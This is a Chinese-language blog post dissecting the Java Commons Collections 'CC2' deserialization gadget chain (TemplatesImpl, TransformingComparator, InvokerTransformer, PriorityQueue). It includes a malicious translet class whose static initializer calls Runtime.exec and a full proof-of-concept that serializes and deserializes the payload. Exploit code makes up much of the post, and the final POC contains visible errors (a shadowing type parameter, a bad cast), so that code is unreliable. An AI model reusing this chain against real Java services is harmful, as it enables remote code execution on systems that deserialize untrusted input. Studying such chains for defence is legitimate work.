THIS IS B3c0me

记录生活中的点点滴滴

0%

CommonsCollections2

一、CC2简介

CommonsCollections2
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用。

所以cc2版本就没用使用AnnotationInvocationHandler而使用了TemplatesImpI+PriorityQueue 来构造利用链的。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是,在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.

这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.

二、Gadget chain

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

1.1 链条方法概要(Re)

  • Runtime.exe():

    • Java的运行时命令执行类,可以调用系统程序
  • Method.invoke(obj,args):

    • Params:

      • obj – the object the underlying method is invoked from

      • args – the arguments used for the method call

    • Returns:

      the result of dispatching the method represented by this object on obj with parameters arg

  • InvokerTransformer.transform(input): 通过反射机制调用传入对象的方法

    • Transforms the input to result by invoking a method on the input.
  • Params:

    • input – the input object to transform
  • Returns:

    • the transformed result, null if null input
  • **TransformingComparator.compare(obj1,obj2)**:返回两个对象通过transformer后的值的比较的结果,里面会调用rtansformer

    • ```
      //TransformingComparator类实现了Serializable接口
      public class TransformingComparator<I, O> implements Comparator, Serializable
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34

      - Returns the result of comparing the values from the transform operation.

      - Params:

      - obj1 – the first object to transform then compare
      - obj2 – the second object to transform then compare

      - Returns:
      negative if obj1 is less, positive if greater, zero if equal

      - **PriorityQueue.readObject()**: 序列化的入口

      ## 1.2 完整链

      ```java
      ObjectInputStream.readObject()
      |
      PriorityQueue.readObject()
      |
      PriorityQueue.heapify
      |
      PriorityQueue.siftDown
      |
      PriorityQueue.siftDownUsingComparator
      |
      TransformingComparator.compare()
      |
      InvokerTransformer.transform()
      |
      TemplatesImpl.getTransletInstance()
      |
      ->(动态创建的类)cc2.newInstance()->Runtime.exec()

1.3 TemplatesImpI类分析

这个类用来加载我们的恶意类

1.getTransletInstance()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//This method generates an instance of the translet class that is wrapped inside this Template. The translet instance will later be wrapped inside a Transformer object.
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
// private String _name = null;
if (_name == null) return null;
//private Class[] _class = null;
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
...
catch (IllegalAccessException e) {
..
}
}

3.defineTransletClasses()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//Defines the translet class and auxiliary classes. Returns a reference to the Class object that defines the main class
private void defineTransletClasses()
throws TransformerConfigurationException {
//检查字节码是否为空
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//获取类加载器,是Translet自定义的类加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
//类计数器
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
//如果类数>1,创建一个hashtable作为辅助类
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
//从字节码文件获取Java对象
_class[i] = loader.defineClass(_bytecodes[i]);
//获取当前对象的父类
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
//private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//如果这个类的父类是AbstractTranslet类,那么就会给_transletIndex赋值为i
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
//否则,放入辅助类(hashtable)
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
...
}
catch (LinkageError e) {
...
}
}

从以上两个类中梳理出的思路:

getTransletInstance()方法想要创建某个类的实例,可是发现当前的类为空,所以它使用了defineTransletClassess()方法定义一个Java类,而defineTransletClassess()定义类的实现是又通过自定义的类加载器TransletClassLoader,该ClassLoader会将字节码文件转换为Java对象(类)。Java对象创建好之后,会判断该对象是不是AbstractTranslet的子类,如果是,将其标记为translet实例,如果不是,则将其放入hash表。

所以我们的目的是利用TransletClassLoader使用字节码构建Java对象的流程,让其生成我们想要生成的恶意类对象。

所以首先我们构造一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class CC2 extends AbstractTranslet {
//静态方法,加载类时自动执行
static{
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后构造POC

链子:

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class CC2Poc{
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {


//实例化TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
//通过反射机制获取TemplatesImpl的class,域成员
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA5\\projects\\cc1\\src\\main\\java\\CommonsCollections\\CC2.class"));
byte[][] bytes = {code};
bytecodesField.set(templates,bytes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//调用触发点
templates.newTransformer();
}
}

运行结果:

1.4 TransformingComparator类分析

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

TransformingComparator中的comparator 在TransformingComparator的构造方法中,传入了两个值transformer和decorated

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}

/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to <code>compare</code>
* @param decorated the decorated Comparator
*/
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

我们在此可以构造 将反射调用的newTransformer传进去

1
TransformingComparator comparator =new TransformingComparator(invokerTransformer);

这样如果哪块调用了compare()就会调用this.invokerTransformer.transformer()

那么接下来如何调用compare()?这就需要PriorityQueue登场了

1.5 PriorityQueue类分析

PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法

在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

readObject中调用了heapify() ,hipify()的for循环长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素

hipify()调用了siftDown():

siftdown()调用了siftDownUsingComparator():

siftDownUsingComparator() 又调用了comparator.compare() :

这里可以构造

1
2
3
4
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
//将恶意类添加给PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);

终极POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC2Poc {

public static <TransformingComparator> void main(String[] args)throws Exception {


TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
Class tc=templates.getClass(); //获取templates的Classlass
Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
nameField.setAccessible(true); //暴力反射
nameField.set(templates,"aaaa"); //修改_name的值
Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
bytecodesField.setAccessible(true); //暴力反射
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
byte[][] codes={code};
bytecodesField.set(templates,codes);//修改_bytecodes的值

//反射调用newTransformer()
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

//将TransformingComparator置空 防止在序列化时触发恶意类
TransformingComparator transformingComparator;
transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));


PriorityQueue priorityQueue=new PriorityQueue<>((Integer) transformingComparator);
//将恶意类添加给PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);

//将invokerTransformer给transformingComparator中的transformer
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}

public static void unserialize(Object obj) throws Exception{
ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
oss.readObject();
}
}

参考

1.https://blog.csdn.net/weixin_43818995/article/details/122184245

欢迎关注我的其它发布渠道